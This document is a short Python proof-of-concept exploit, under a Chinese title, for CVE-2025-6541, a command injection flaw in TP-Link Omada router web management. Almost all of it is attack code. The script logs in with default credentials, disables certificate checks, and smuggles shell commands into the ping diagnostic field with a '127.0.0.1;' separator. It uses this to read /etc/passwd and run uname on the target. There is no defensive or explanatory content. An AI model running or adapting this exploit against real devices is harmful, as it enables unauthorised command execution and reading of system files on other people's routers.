CVE-2025-6541：TP-Link Omada路由器Web管理界面命令注入漏洞

#!/usr/bin/env python3 # CVE-2025-6541 - TP-Link Omada Router OS Command Injection PoC # Author: Security Researcher # Description: Exploits command injection in the web management interface # of TP-Link Omada routers via the network diagnostic tool. import requests import sys import re from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "https://192.168.0.1" USERNAME = sys.argv[2] if len(sys.argv) > 2 else "admin" PASSWORD = sys.argv[3] if len(sys.argv) > 3 else "admin" SESSION = requests.Session() SESSION.verify = False SESSION.headers.update({ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded", }) def login(): """Authenticate to the Omada web management interface.""" login_url = f"{TARGET_URL}/cgi-bin/luci" data = {"username": USERNAME, "password": PASSWORD} resp = SESSION.post(login_url, data=data, timeout=10) if " stok=" in resp.text or resp.status_code == 200: print("[+] Login successful") return True print("[-] Login failed") return False def inject_command(cmd): """ Inject an OS command through the vulnerable network diagnostic endpoint (e.g. ping utility). The unsanitized input is concatenated directly into a shell command on the device. """ # Common injection vector: append a shell command separator (;) payload = f"127.0.0.1;{cmd}" target_endpoint = f"{TARGET_URL}/cgi-bin/luci/admin/network/diagnostics" data = {"ping_addr": payload, "action": "ping"} resp = SESSION.post(target_endpoint, data=data, timeout=15) return resp.text def main(): print(f"[*] Targeting: {TARGET_URL}") if not login(): sys.exit(1) # Demonstration: read /etc/passwd from the device print("[*] Executing 'cat /etc/passwd' on target...") result = inject_command("cat /etc/passwd") print("[+] Command output:") print(result) # Demonstration: list device firmware information print("\n[*] Executing 'uname -a' on target...") result = inject_command("uname -a") print("[+] Command output:") print(result) if __name__ == "__main__": main()